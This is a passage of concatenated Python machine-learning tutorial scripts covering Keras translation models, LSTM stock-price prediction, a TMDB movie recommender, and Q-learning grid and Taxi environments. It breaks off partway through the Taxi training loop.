model.compile(optimizer="adam", loss="categorical_crossentropy", metrics=["accuracy"]) + + if not os.path.isdir("results"): + os.mkdir("results") + + checkpointer = ModelCheckpoint("results/eng_fra_v1_{val_loss:.3f}.h5", save_best_only=True, verbose=2) + # train the model + model.fit_generator(get_batches(X_train, y_train, X_tk, y_tk, source_sequence_length, target_sequence_length), + validation_data=get_batches(X_test, y_test, X_tk, y_tk, source_sequence_length, target_sequence_length), + epochs=EPOCHS, steps_per_epoch=(len(X_train) // BATCH_SIZE), + validation_steps=(len(X_test) // BATCH_SIZE), + callbacks=[checkpointer]) + + print("[+] Model trained.") + model.save("results/eng_fra_v1.h5") + print("[+] Model saved.") + + + + +from tensorflow.keras.preprocessing.text import Tokenizer +from tensorflow.keras.preprocessing.sequence import pad_sequences +from tensorflow.keras.models import Model, Sequential +from tensorflow.keras.layers import GRU, Input, Dense, TimeDistributed, Activation, RepeatVector, Bidirectional, Flatten +from tensorflow.keras.layers import Dropout, LSTM +from tensorflow.keras.optimizers import Adam +from tensorflow.keras.losses import sparse_categorical_crossentropy +import collections +import numpy as np + +LSTM_UNITS = 128 + +def get_data(file): + X = [] + y = [] + # loading the data + for line in open(file, encoding="utf-8"): + if "\t" not in line: + continue + # split by tab + line = line.strip().split("\t") + input = line[0] + output = line[1] + X.append(input) + y.append(output) + return X, y + + +def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size): + model = Sequential() + model.add(LSTM(LSTM_UNITS, input_shape=input_shape[1:])) + model.add(RepeatVector(output_sequence_length)) + model.add(LSTM(LSTM_UNITS, return_sequences=True)) + model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax"))) + model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"]) + return model + + +def tokenize(x): + """ + Tokenize x + :param x: List of sentences/strings to be tokenized + :return: Tuple of (tokenized x data, tokenizer used to tokenize x) + """ + # TODO: Implement + t = Tokenizer() + t.fit_on_texts(x) + return t.texts_to_sequences(x), t + + +def pad(x, length=None): + """ + Pad x + :param x: List of sequences. + :param length: Length to pad the sequence to. If None, use length of longest sequence in x. + :return: Padded numpy array of sequences + """ + # TODO: Implement + sequences = pad_sequences(x, maxlen=length, padding='post') + return sequences + + +def preprocess(x, y): + """ + Preprocess x and y + :param x: Feature List of sentences + :param y: Label List of sentences + :return: Tuple of (Preprocessed x, Preprocessed y, x tokenizer, y tokenizer) + """ + preprocess_x, x_tk = tokenize(x) + preprocess_y, y_tk = tokenize(y) + + preprocess_x = pad(preprocess_x) + preprocess_y = pad(preprocess_y) + + # Keras's sparse_categorical_crossentropy function requires the labels to be in 3 dimensions + preprocess_y = preprocess_y.reshape(*preprocess_y.shape, 1) + + return preprocess_x, preprocess_y, x_tk, y_tk + + +def logits_to_text(logits, tokenizer): + """ + Turn logits from a neural network into text using the tokenizer + :param logits: Logits from a neural network + :param tokenizer: Keras Tokenizer fit on the labels + :return: String that represents the text of the logits + """ + index_to_words = {id: word for word, id in tokenizer.word_index.items()} + index_to_words[0] = '' + + return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) + + +if __name__ == "__main__": + X, y = get_data("ara.txt") + english_words = [word for sentence in X for word in sentence.split()] + french_words = [word for sentence in y for word in sentence.split()] + english_words_counter = collections.Counter(english_words) + french_words_counter = collections.Counter(french_words) + + print('{} English words.'.format(len(english_words))) + print('{} unique English words.'.format(len(english_words_counter))) + print('10 Most common words in the English dataset:') + print('"' + '" "'.join(list(zip(*english_words_counter.most_common(10)))[0]) + '"') + print() + print('{} French words.'.format(len(french_words))) + print('{} unique French words.'.format(len(french_words_counter))) + print('10 Most common words in the French dataset:') + print('"' + '" "'.join(list(zip(*french_words_counter.most_common(10)))[0]) + '"') + + # Tokenize Example output + text_sentences = [ + 'The quick brown fox jumps over the lazy dog .', + 'By Jove , my quick study of lexicography won a prize .', + 'This is a short sentence .'] + text_tokenized, text_tokenizer = tokenize(text_sentences) + print(text_tokenizer.word_index) + print() + for sample_i, (sent, token_sent) in enumerate(zip(text_sentences, text_tokenized)): + print('Sequence {} in x'.format(sample_i + 1)) + print(' Input: {}'.format(sent)) + print(' Output: {}'.format(token_sent)) + + # Pad Tokenized output + test_pad = pad(text_tokenized) + for sample_i, (token_sent, pad_sent) in enumerate(zip(text_tokenized, test_pad)): + print('Sequence {} in x'.format(sample_i + 1)) + print(' Input: {}'.format(np.array(token_sent))) + print(' Output: {}'.format(pad_sent)) + + preproc_english_sentences, preproc_french_sentences, english_tokenizer, french_tokenizer =\ + preprocess(X, y) + + max_english_sequence_length = preproc_english_sentences.shape[1] + max_french_sequence_length = preproc_french_sentences.shape[1] + english_vocab_size = len(english_tokenizer.word_index) + french_vocab_size = len(french_tokenizer.word_index) + + print('Data Preprocessed') + print("Max English sentence length:", max_english_sequence_length) + print("Max French sentence length:", max_french_sequence_length) + print("English vocabulary size:", english_vocab_size) + print("French vocabulary size:", french_vocab_size) + + tmp_x = pad(preproc_english_sentences, preproc_french_sentences.shape[1]) + tmp_x = tmp_x.reshape((-1, preproc_french_sentences.shape[-2], 1)) + print("tmp_x.shape:", tmp_x.shape) + print("preproc_french_sentences.shape:", preproc_french_sentences.shape) + + # Train the neural network + # increased passed index length by 1 to avoid index error + encdec_rnn_model = create_encdec_model( + tmp_x.shape, + preproc_french_sentences.shape[1], + len(english_tokenizer.word_index)+1, + len(french_tokenizer.word_index)+1) + print(encdec_rnn_model.summary()) + # reduced batch size + encdec_rnn_model.fit(tmp_x, preproc_french_sentences, batch_size=256, epochs=3, validation_split=0.2) + + # Print prediction(s) + print(logits_to_text(encdec_rnn_model.predict(tmp_x[1].reshape((1, tmp_x[1].shape[0], 1, )))[0], french_tokenizer)) + print("Original text and translation:") + print(X[1]) + print(y[1]) + # OPTIONAL: Train and Print prediction(s) + print("="*50) + # Print prediction(s) + print(logits_to_text(encdec_rnn_model.predict(tmp_x[10].reshape((1, tmp_x[1].shape[0], 1, ))[0]), french_tokenizer)) + print("Original text and translation:") + print(X[10]) + print(y[10]) + # OPTIONAL: Train and Print prediction(s) + + + + +from tensorflow.keras.layers import LSTM, Dense, Dropout +from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard +from sklearn.metrics import mean_absolute_error, mean_squared_error, accuracy_score +import os +import time +import glob +import numpy as np +import pandas as pd +import matplotlib.pyplot as plt + +from utils import classify, shift, create_model, load_data + +class PricePrediction: + """A Class utility to train and predict price of stocks/cryptocurrencies/trades + using keras model""" + def __init__(self, ticker_name, **kwargs): + """ + :param ticker_name (str): ticker name, e.g. aapl, nflx, etc. + :param n_steps (int): sequence length used to predict, default is 60 + :param price_column (str): the name of column that contains price predicted, default is 'adjclose' + :param feature_columns (list): a list of feature column names used to train the model, + default is ['adjclose', 'volume', 'open', 'high', 'low'] + :param target_column (str): target column name, default is 'future' + :param lookup_step (int): the future lookup step to predict, default is 1 (e.g. next day) + :param shuffle (bool): whether to shuffle the dataset, default is True + :param verbose (int): verbosity level, default is 1 + ========================================== + Model parameters + :param n_layers (int): number of recurrent neural network layers, default is 3 + :param cell (keras.layers.RNN): RNN cell used to train keras model, default is LSTM + :param units (int): number of units of cell, default is 256 + :param dropout (float): dropout rate ( from 0 to 1 ), default is 0.3 + ========================================== + Training parameters + :param batch_size (int): number of samples per gradient update, default is 64 + :param epochs (int): number of epochs, default is 100 + :param optimizer (str, keras.optimizers.Optimizer): optimizer used to train, default is 'adam' + :param loss (str, function): loss function used to minimize during training, + default is 'mae' + :param test_size (float): test size ratio from 0 to 1, default is 0.15 + """ + self.ticker_name = ticker_name + self.n_steps = kwargs.get("n_steps", 60) + self.price_column = kwargs.get("price_column", 'adjclose') + self.feature_columns = kwargs.get("feature_columns", ['adjclose', 'volume', 'open', 'high', 'low']) + self.target_column = kwargs.get("target_column", "future") + self.lookup_step = kwargs.get("lookup_step", 1) + self.shuffle = kwargs.get("shuffle", True) + self.verbose = kwargs.get("verbose", 1) + + self.n_layers = kwargs.get("n_layers", 3) + self.cell = kwargs.get("cell", LSTM) + self.units = kwargs.get("units", 256) + self.dropout = kwargs.get("dropout", 0.3) + + self.batch_size = kwargs.get("batch_size", 64) + self.epochs = kwargs.get("epochs", 100) + self.optimizer = kwargs.get("optimizer", "adam") + self.loss = kwargs.get("loss", "mae") + self.test_size = kwargs.get("test_size", 0.15) + + # create unique model name + self._update_model_name() + + # runtime attributes + self.model_trained = False + self.data_loaded = False + self.model_created = False + + # test price values + self.test_prices = None + # predicted price values for the test set + self.y_pred = None + + # prices converted to buy/sell classes + self.classified_y_true = None + # predicted prices converted to buy/sell classes + self.classified_y_pred = None + + # most recent price + self.last_price = None + + # make folders if does not exist + if not os.path.isdir("results"): + os.mkdir("results") + + if not os.path.isdir("logs"): + os.mkdir("logs") + + if not os.path.isdir("data"): + os.mkdir("data") + + def create_model(self): + """Construct and compile the keras model""" + self.model = create_model(input_length=self.n_steps, + units=self.units, + cell=self.cell, + dropout=self.dropout, + n_layers=self.n_layers, + loss=self.loss, + optimizer=self.optimizer) + self.model_created = True + if self.verbose > 0: + print("[+] Model created") + + def train(self, override=False): + """Train the keras model using self.checkpointer and self.tensorboard as keras callbacks. + If model created already trained, this method will load the weights instead of training from scratch. + Note that this method will create the model and load data if not called before.""" + + # if model isn't created yet, create it + if not self.model_created: + self.create_model() + + # if data isn't loaded yet, load it + if not self.data_loaded: + self.load_data() + + # if the model already exists and trained, just load the weights and return + # but if override is True, then just skip loading weights + if not override: + model_name = self._model_exists() + if model_name: + self.model.load_weights(model_name) + self.model_trained = True + if self.verbose > 0: + print("[*] Model weights loaded") + return + + if not os.path.isdir("results"): + os.mkdir("results") + + if not os.path.isdir("logs"): + os.mkdir("logs") + + model_filename = self._get_model_filename() + + self.checkpointer = ModelCheckpoint(model_filename, save_best_only=True, verbose=1) + self.tensorboard = TensorBoard(log_dir=f"logs\{self.model_name}") + + self.history = self.model.fit(self.X_train, self.y_train, + batch_size=self.batch_size, + epochs=self.epochs, + validation_data=(self.X_test, self.y_test), + callbacks=[self.checkpointer, self.tensorboard], + verbose=1) + + self.model_trained = True + if self.verbose > 0: + print("[+] Model trained") + + def predict(self, classify=False): + """Predicts next price for the step self.lookup_step. + when classify is True, returns 0 for sell and 1 for buy""" + if not self.model_trained: + raise RuntimeError("Model is not trained yet, call model.train() first.") + # reshape to fit the model input + last_sequence = self.last_sequence.reshape((self.last_sequence.shape[1], self.last_sequence.shape[0])) + # expand dimension + last_sequence = np.expand_dims(last_sequence, axis=0) + predicted_price = self.column_scaler[self.price_column].inverse_transform(self.model.predict(last_sequence))[0][0] + if classify: + last_price = self.get_last_price() + return 1 if last_price < predicted_price else 0 + else: + return predicted_price + + def load_data(self): + """Loads and preprocess data""" + filename, exists = self._df_exists() + if exists: + # if the updated dataframe already exists in disk, load it + self.ticker = pd.read_csv(filename) + ticker = self.ticker + if self.verbose > 0: + print("[*] Dataframe loaded from disk") + else: + ticker = self.ticker_name + + result = load_data(ticker,n_steps=self.n_steps, lookup_step=self.lookup_step, + shuffle=self.shuffle, feature_columns=self.feature_columns, + price_column=self.price_column, test_size=self.test_size) + + # extract data + self.df = result['df'] + self.X_train = result['X_train'] + self.X_test = result['X_test'] + self.y_train = result['y_train'] + self.y_test = result['y_test'] + self.column_scaler = result['column_scaler'] + self.last_sequence = result['last_sequence'] + + if self.shuffle: + self.unshuffled_X_test = result['unshuffled_X_test'] + self.unshuffled_y_test = result['unshuffled_y_test'] + else: + self.unshuffled_X_test = self.X_test + self.unshuffled_y_test = self.y_test + + self.original_X_test = self.unshuffled_X_test.reshape((self.unshuffled_X_test.shape[0], self.unshuffled_X_test.shape[2], -1)) + + self.data_loaded = True + if self.verbose > 0: + print("[+] Data loaded") + + # save the dataframe to disk + self.save_data() + + def get_last_price(self): + """Returns the last price ( i.e the most recent price )""" + if not self.last_price: + self.last_price = float(self.df[self.price_column].tail(1)) + return self.last_price + + def get_test_prices(self): + """Returns test prices. Note that this function won't return the whole sequences, + instead, it'll return only the last value of each sequence""" + if self.test_prices is None: + current = np.squeeze(self.column_scaler[self.price_column].inverse_transform([[ v[-1][0] for v in self.original_X_test ]])) + future = np.squeeze(self.column_scaler[self.price_column].inverse_transform(np.expand_dims(self.unshuffled_y_test, axis=0))) + self.test_prices = np.array(list(current) + [future[-1]]) + return self.test_prices + + def get_y_pred(self): + """Get predicted values of the testing set of sequences ( y_pred )""" + if not self.model_trained: + raise RuntimeError("Model is not trained yet, call model.train() first.") + if self.y_pred is None: + self.y_pred = np.squeeze(self.column_scaler[self.price_column].inverse_transform(self.model.predict(self.unshuffled_X_test))) + return self.y_pred + + def get_y_true(self): + """Returns original y testing values ( y_true )""" + test_prices = self.get_test_prices() + return test_prices[1:] + + def _get_shifted_y_true(self): + """Returns original y testing values shifted by -1. + This function is useful for converting to a classification problem""" + test_prices = self.get_test_prices() + return test_prices[:-1] + + def _calc_classified_prices(self): + """Convert regression predictions to a classification predictions ( buy or sell ) + and set results to self.classified_y_pred for predictions and self.classified_y_true + for true prices""" + if self.classified_y_true is None or self.classified_y_pred is None: + current_prices = self._get_shifted_y_true() + future_prices = self.get_y_true() + predicted_prices = self.get_y_pred() + self.classified_y_true = list(map(classify, current_prices, future_prices)) + self.classified_y_pred = list(map(classify, current_prices, predicted_prices)) + + # some metrics + + def get_MAE(self): + """Calculates the Mean-Absolute-Error metric of the test set""" + if not self.model_trained: + raise RuntimeError("Model is not trained yet, call model.train() first.") + y_true = self.get_y_true() + y_pred = self.get_y_pred() + return mean_absolute_error(y_true, y_pred) + + def get_MSE(self): + """Calculates the Mean-Squared-Error metric of the test set""" + if not self.model_trained: + raise RuntimeError("Model is not trained yet, call model.train() first.") + y_true = self.get_y_true() + y_pred = self.get_y_pred() + return mean_squared_error(y_true, y_pred) + + def get_accuracy(self): + """Calculates the accuracy after adding classification approach (buy/sell)""" + if not self.model_trained: + raise RuntimeError("Model is not trained yet, call model.train() first.") + self._calc_classified_prices() + return accuracy_score(self.classified_y_true, self.classified_y_pred) + + def plot_test_set(self): + """Plots test data""" + future_prices = self.get_y_true() + predicted_prices = self.get_y_pred() + plt.plot(future_prices, c='b') + plt.plot(predicted_prices, c='r') + plt.xlabel("Days") + plt.ylabel("Price") + plt.legend(["Actual Price", "Predicted Price"]) + plt.show() + + def save_data(self): + """Saves the updated dataframe if it does not exist""" + filename, exists = self._df_exists() + if not exists: + self.df.to_csv(filename) + if self.verbose > 0: + print("[+] Dataframe saved") + + def _update_model_name(self): + stock = self.ticker_name.replace(" ", "_") + feature_columns_str = ''.join([ c[0] for c in self.feature_columns ]) + time_now = time.strftime("%Y-%m-%d") + self.model_name = f"{time_now}_{stock}-{feature_columns_str}-loss-{self.loss}-{self.cell.__name__}-seq-{self.n_steps}-step-{self.lookup_step}-layers-{self.n_layers}-units-{self.units}" + + def _get_df_name(self): + """Returns the updated dataframe name""" + time_now = time.strftime("%Y-%m-%d") + return f"data/{self.ticker_name}_{time_now}.csv" + + def _df_exists(self): + """Check if the updated dataframe exists in disk, returns a tuple contains (filename, file_exists)""" + filename = self._get_df_name() + return filename, os.path.isfile(filename) + + def _get_model_filename(self): + """Returns the relative path of this model name with h5 extension""" + return f"results/{self.model_name}.h5" + + def _model_exists(self): + """Checks if model already exists in disk, returns the filename, + returns None otherwise""" + filename = self._get_model_filename() + return filename if os.path.isfile(filename) else None + + + + +# uncomment below to use CPU instead of GPU +# import os +# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +# import tensorflow as tf + +# config = tf.ConfigProto(intra_op_parallelism_threads=4, +# inter_op_parallelism_threads=4, +# allow_soft_placement=True, +# device_count = {'CPU' : 1, +# 'GPU' : 0} +# ) + +from tensorflow.keras.layers import GRU, LSTM +from price_prediction import PricePrediction + +ticker = "AAPL" + +p = PricePrediction(ticker, feature_columns=['adjclose', 'volume', 'open', 'high', 'low'], + epochs=700, cell=LSTM, optimizer="rmsprop", n_layers=3, units=256, + loss="mse", shuffle=True, dropout=0.4) +p.train(True) +print(f"The next predicted price for {ticker} is {p.predict()}") +buy_sell = p.predict(classify=True) +print(f"you should {'sell' if buy_sell == 0 else 'buy'}.") + +print("Mean Absolute Error:", p.get_MAE()) +print("Mean Squared Error:", p.get_MSE()) +print(f"Accuracy: {p.get_accuracy()*100:.3f}%") + +p.plot_test_set() + + + + +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import LSTM, Dense, Dropout +from sklearn import preprocessing +from yahoo_fin import stock_info as si +from collections import deque + +import pandas as pd +import numpy as np +import random + +def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3, loss="mean_absolute_error", optimizer="rmsprop"): + model = Sequential() + for i in range(n_layers): + if i == 0: + # first layer + model.add(cell(units, return_sequences=True, input_shape=(None, input_length))) + model.add(Dropout(dropout)) + elif i == n_layers -1: + # last layer + model.add(cell(units, return_sequences=False)) + model.add(Dropout(dropout)) + else: + # middle layers + model.add(cell(units, return_sequences=True)) + model.add(Dropout(dropout)) + + model.add(Dense(1, activation="linear")) + model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer) + + return model + + +def load_data(ticker, n_steps=60, scale=True, split=True, balance=False, shuffle=True, + lookup_step=1, test_size=0.15, price_column='Price', feature_columns=['Price'], + target_column="future", buy_sell=False): + """Loads data from yahoo finance, if the ticker is a pd Dataframe, + it'll use it instead""" + if isinstance(ticker, str): + df = si.get_data(ticker) + elif isinstance(ticker, pd.DataFrame): + df = ticker + else: + raise TypeError("ticker can be either a str, or a pd.DataFrame instance") + + result = {} + + result['df'] = df.copy() + # make sure that columns passed is in the dataframe + for col in feature_columns: + assert col in df.columns + + column_scaler = {} + if scale: + # scale the data ( from 0 to 1 ) + for column in feature_columns: + scaler = preprocessing.MinMaxScaler() + df[column] = scaler.fit_transform(np.expand_dims(df[column].values, axis=1)) + column_scaler[column] = scaler + # df[column] = preprocessing.scale(df[column].values) + + # add column scaler to the result + result['column_scaler'] = column_scaler + + # add future price column ( shift by -1 ) + df[target_column] = df[price_column].shift(-lookup_step) + + # get last feature elements ( to add them to the last sequence ) + # before deleted by df.dropna + last_feature_element = np.array(df[feature_columns].tail(1)) + + # clean NaN entries + df.dropna(inplace=True) + + if buy_sell: + # convert target column to 0 (for sell -down- ) and to 1 ( for buy -up-) + df[target_column] = list(map(classify, df[price_column], df[target_column])) + + seq_data = [] # all sequences here + # sequences are made with deque, which keeps the maximum length by popping out older values as new ones come in + sequences = deque(maxlen=n_steps) + + for entry, target in zip(df[feature_columns].values, df[target_column].values): + sequences.append(entry) + if len(sequences) == n_steps: + seq_data.append([np.array(sequences), target]) + + # get the last sequence for future predictions + last_sequence = np.array(sequences) + # shift the sequence, one element is missing ( deleted by dropna ) + last_sequence = shift(last_sequence, -1) + # fill the last element + last_sequence[-1] = last_feature_element + + # add last sequence to results + result['last_sequence'] = last_sequence + + if buy_sell and balance: + buys, sells = [], [] + for seq, target in seq_data: + if target == 0: + sells.append([seq, target]) + else: + buys.append([seq, target]) + + # balancing the dataset + + lower_length = min(len(buys), len(sells)) + + buys = buys[:lower_length] + sells = sells[:lower_length] + + seq_data = buys + sells + + if shuffle: + unshuffled_seq_data = seq_data.copy() + # shuffle data + random.shuffle(seq_data) + + X, y = [], [] + for seq, target in seq_data: + X.append(seq) + y.append(target) + + X = np.array(X) + y = np.array(y) + + if shuffle: + unshuffled_X, unshuffled_y = [], [] + for seq, target in unshuffled_seq_data: + unshuffled_X.append(seq) + unshuffled_y.append(target) + + unshuffled_X = np.array(unshuffled_X) + unshuffled_y = np.array(unshuffled_y) + + unshuffled_X = unshuffled_X.reshape((unshuffled_X.shape[0], unshuffled_X.shape[2], unshuffled_X.shape[1])) + + X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) + + if not split: + # return original_df, X, y, column_scaler, last_sequence + result['X'] = X + result['y'] = y + return result + else: + # split dataset into training and testing + n_samples = X.shape[0] + train_samples = int(n_samples * (1 - test_size)) + result['X_train'] = X[:train_samples] + result['X_test'] = X[train_samples:] + result['y_train'] = y[:train_samples] + result['y_test'] = y[train_samples:] + if shuffle: + result['unshuffled_X_test'] = unshuffled_X[train_samples:] + result['unshuffled_y_test'] = unshuffled_y[train_samples:] + return result + +# from sentdex +def classify(current, future): + if float(future) > float(current): # if the future price is higher than the current, that's a buy, or a 1 + return 1 + else: # otherwise... it's a 0! + return 0 + + +def shift(arr, num, fill_value=np.nan): + result = np.empty_like(arr) + if num > 0: + result[:num] = fill_value + result[num:] = arr[:-num] + elif num < 0: + result[num:] = fill_value + result[:num] = arr[-num:] + else: + result = arr + return result + + + + +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +import seaborn as sns +from sklearn.feature_extraction.text import TfidfVectorizer + +movies_path = r"E:\datasets\recommender_systems\tmdb_5000_movies.csv" +credits_path = r"E:\datasets\recommender_systems\tmdb_5000_credits.csv" + +credits = pd.read_csv(credits_path) +movies = pd.read_csv(movies_path) + +# rename movie_id to id to merge dataframes later +credits = credits.rename(index=str, columns={'movie_id': 'id'}) + +# join on movie id column +movies = movies.merge(credits, on="id") + +# drop useless columns +movies = movies.drop(columns=['homepage', 'title_x', 'title_y', 'status', 'production_countries']) + +# number of votes of the movie +V = movies['vote_count'] +# rating average of the movie from 0 to 10 +R = movies['vote_average'] +# the mean vote across the whole report +C = movies['vote_average'].mean() +# minimum votes required to be listed in the top 250 +m = movies['vote_count'].quantile(0.7) + +movies['weighted_average'] = (V/(V+m) * R) + (m/(m+V) * C) + +# ranked movies + +wavg = movies.sort_values('weighted_average', ascending=False) + +plt.figure(figsize=(16,6)) + +ax = sns.barplot(x=wavg['weighted_average'].head(10), y=wavg['original_title'].head(10), data=wavg, palette='deep') + +plt.xlim(6.75, 8.35) +plt.title('"Best" Movies by TMDB Votes', weight='bold') +plt.xlabel('Weighted Average Score', weight='bold') +plt.ylabel('Movie Title', weight='bold') + +plt.savefig('best_movies.png') + +popular = movies.sort_values('popularity', ascending=False) + +plt.figure(figsize=(16,6)) + +ax = sns.barplot(x=popular['popularity'].head(10), y=popular['original_title'].head(10), data=popular, palette='deep') + +plt.title('"Most Popular" Movies by TMDB Votes', weight='bold') +plt.xlabel('Popularity Score', weight='bold') +plt.ylabel('Movie Title', weight='bold') + +plt.savefig('popular_movies.png') + +############ Content-Based ############ +# filling NaNs with empty string +movies['overview'] = movies['overview'].fillna('') + +tfv = TfidfVectorizer(min_df=3, max_features=None, + strip_accents='unicode', analyzer='word',token_pattern=r'\w{1,}', + ngram_range=(1, 3), use_idf=1,smooth_idf=1,sublinear_tf=1, + stop_words = 'english') + +tfv_matrix = tfv.fit_transform(movies['overview']) +print(tfv_matrix.shape) +print(tfv_matrix) + + + + +import numpy as np +from PIL import Image +import cv2 # showing the env +import matplotlib.pyplot as plt +import pickle +from matplotlib import style +import time +import os +from collections.abc import Iterable + +style.use("ggplot") + +GRID_SIZE = 10 + +# how many episodes +EPISODES = 1_000 +# how many steps in the env +STEPS = 200 + +# Rewards for differents events +MOVE_REWARD = -1 +ENEMY_REWARD = -300 +FOOD_REWARD = 30 + +epsilon = 0 # for randomness, it'll decay over time by EPSILON_DECAY +EPSILON_DECAY = 0.999993 # every episode, epsilon *= EPSILON_DECAY + +SHOW_EVERY = 1 + +q_table = f"qtable-grid-{GRID_SIZE}-steps-{STEPS}.npy" # put here pretrained model ( if exists ) + +LEARNING_RATE = 0.1 +DISCOUNT = 0.95 + +PLAYER_CODE = 1 +FOOD_CODE = 2 +ENEMY_CODE = 3 + +# blob dict, for colors +COLORS = { + PLAYER_CODE: (255, 120, 0), # blueish color + FOOD_CODE: (0, 255, 0), # green + ENEMY_CODE: (0, 0, 255), # red +} + + +ACTIONS = { + 0: (0, 1), + 1: (-1, 0), + 2: (0, -1), + 3: (1, 0) +} + +N_ENEMIES = 2 + +def get_observation(cords): + obs = [] + for item1 in cords: + for item2 in item1: + obs.append(item2+GRID_SIZE-1) + return tuple(obs) + + +class Blob: + def __init__(self, name=None): + self.x = np.random.randint(0, GRID_SIZE) + self.y = np.random.randint(0, GRID_SIZE) + self.name = name if name else "Blob" + + def __sub__(self, other): + return (self.x - other.x, self.y - other.y) + + def __str__(self): + return f"<{self.name.capitalize()} x={self.x}, y={self.y}>" + + def move(self, x=None, y=None): + # if x is None, move randomly + if x is None: + self.x += np.random.randint(-1, 2) + else: + self.x += x + + # if y is None, move randomly + if y is None: + self.y += np.random.randint(-1, 2) + else: + self.y += y + + # out of bound fix + if self.x < 0: + # self.x = GRID_SIZE-1 + self.x = 0 + elif self.x > GRID_SIZE-1: + # self.x = 0 + self.x = GRID_SIZE-1 + + if self.y < 0: + # self.y = GRID_SIZE-1 + self.y = 0 + elif self.y > GRID_SIZE-1: + # self.y = 0 + self.y = GRID_SIZE-1 + + def take_action(self, choice): + # if choice == 0: + # self.move(x=1, y=1) + # elif choice == 1: + # self.move(x=-1, y=-1) + # elif choice == 2: + # self.move(x=-1, y=1) + # elif choice == 3: + # self.move(x=1, y=-1) + for code, (move_x, move_y) in ACTIONS.items(): + if choice == code: + self.move(x=move_x, y=move_y) + # if choice == 0: + # self.move(x=1, y=0) + # elif choice == 1: + # self.move(x=0, y=1) + # elif choice == 2: + # self.move(x=-1, y=0) + # elif choice == 3: + # self.move(x=0, y=-1) + +# construct the q_table if not already trained +if q_table is None or not os.path.isfile(q_table): + # q_table = {} + # # for every possible combination of the distance of the player + # # to both the food and the enemy + # for i in range(-GRID_SIZE+1, GRID_SIZE): + # for ii in range(-GRID_SIZE+1, GRID_SIZE): + # for iii in range(-GRID_SIZE+1, GRID_SIZE): + # for iiii in range(-GRID_SIZE+1, GRID_SIZE): + # q_table[(i, ii), (iii, iiii)] = np.random.uniform(-5, 0, size=len(ACTIONS)) + q_table = np.random.uniform(-5, 0, size=[GRID_SIZE*2-1]*(2+2*N_ENEMIES) + [len(ACTIONS)]) +else: + # the q table already exists + print("Loading Q-table") + q_table = np.load(q_table) + + +# this list for tracking rewards +episode_rewards = [] + +# game loop +for episode in range(EPISODES): + # initialize our blobs ( squares ) + player = Blob("Player") + food = Blob("Food") + enemy1 = Blob("Enemy1") + enemy2 = Blob("Enemy2") + + if episode % SHOW_EVERY == 0: + print(f"[{episode:05}] ep: {epsilon:.4f} reward mean: {np.mean(episode_rewards[-SHOW_EVERY:])} alpha={LEARNING_RATE}") + show = True + else: + show = False + + episode_reward = 0 + for i in range(STEPS): + # get the observation + obs = get_observation((player - food, player - enemy1, player - enemy2)) + # Epsilon-greedy policy + if np.random.random() > epsilon: + # get the action from the q table + action = np.argmax(q_table[obs]) + else: + # random action + action = np.random.randint(0, len(ACTIONS)) + # take the action + player.take_action(action) + + #### MAYBE ### + #enemy.move() + #food.move() + ############## + food.move() + enemy1.move() + enemy2.move() + + ### for rewarding + if player.x == enemy1.x and player.y == enemy1.y: + # if it hit the enemy, punish + reward = ENEMY_REWARD + elif player.x == enemy2.x and player.y == enemy2.y: + # if it hit the enemy, punish + reward = ENEMY_REWARD + elif player.x == food.x and player.y == food.y: + # if it hit the food, reward + reward = FOOD_REWARD + else: + # else, punish it a little for moving + reward = MOVE_REWARD + + ### calculate the Q + # get the future observation after taking action + future_obs = get_observation((player - food, player - enemy1, player - enemy2)) + # get the max future Q value (SarsaMax algorithm) + # SARSA = State0, Action0, Reward0, State1, Action1 + max_future_q = np.max(q_table[future_obs]) + # get the current Q + current_q = q_table[obs][action] + # calculate the new Q + if reward == FOOD_REWARD: + new_q = FOOD_REWARD + else: + # value iteration update + # https://en.wikipedia.org/wiki/Q-learning + # Calculate the Temporal-Difference target + td_target = reward + DISCOUNT * max_future_q + # Temporal-Difference + new_q = (1 - LEARNING_RATE) * current_q + LEARNING_RATE * td_target + + # update the q + q_table[obs][action] = new_q + + + if show: + env = np.zeros((GRID_SIZE, GRID_SIZE, 3), dtype=np.uint8) + # set food blob to green + env[food.x][food.y] = COLORS[FOOD_CODE] + # set the enemy blob to red + env[enemy1.x][enemy1.y] = COLORS[ENEMY_CODE] + env[enemy2.x][enemy2.y] = COLORS[ENEMY_CODE] + # set the player blob to blueish + env[player.x][player.y] = COLORS[PLAYER_CODE] + # get the image + image = Image.fromarray(env, 'RGB') + image = image.resize((600, 600)) + # show the image + cv2.imshow("image", np.array(image)) + if reward == FOOD_REWARD or reward == ENEMY_REWARD: + if cv2.waitKey(500) == ord('q'): + break + else: + if cv2.waitKey(100) == ord('q'): + break + + episode_reward += reward + if reward == FOOD_REWARD or reward == ENEMY_REWARD: + break + + episode_rewards.append(episode_reward) + # decay a little randomness in each episode + epsilon *= EPSILON_DECAY + + + +# with open(f"qtable-{int(time.time())}.pickle", "wb") as f: +# pickle.dump(q_table, f) +np.save(f"qtable-grid-{GRID_SIZE}-steps-{STEPS}", q_table) + +moving_avg = np.convolve(episode_rewards, np.ones((SHOW_EVERY,))/SHOW_EVERY, mode='valid') +plt.plot([i for i in range(len(moving_avg))], moving_avg) +plt.ylabel(f"Avg Reward every {SHOW_EVERY}") +plt.xlabel("Episode") +plt.show() + + + + +import numpy as np +import gym +import random +import matplotlib.pyplot as plt +import os +import time + +env = gym.make("Taxi-v2").env + +# init the Q-Table +# (500x6) matrix (n_states x n_actions) +q_table = np.zeros((env.observation_space.n, env.action_space.n)) + +# Hyper Parameters +# alpha +LEARNING_RATE = 0.1 +# gamma +DISCOUNT_RATE = 0.9 +EPSILON = 0.9 +EPSILON_DECAY = 0.99993 + +EPISODES = 100_000 +SHOW_EVERY = 1_000 + +# for plotting metrics +all_epochs = [] +all_penalties = [] +all_rewards = [] + +for i in range(EPISODES): + + # reset the env + state = env.reset() + + epochs, penalties, rewards = 0, 0, [] + 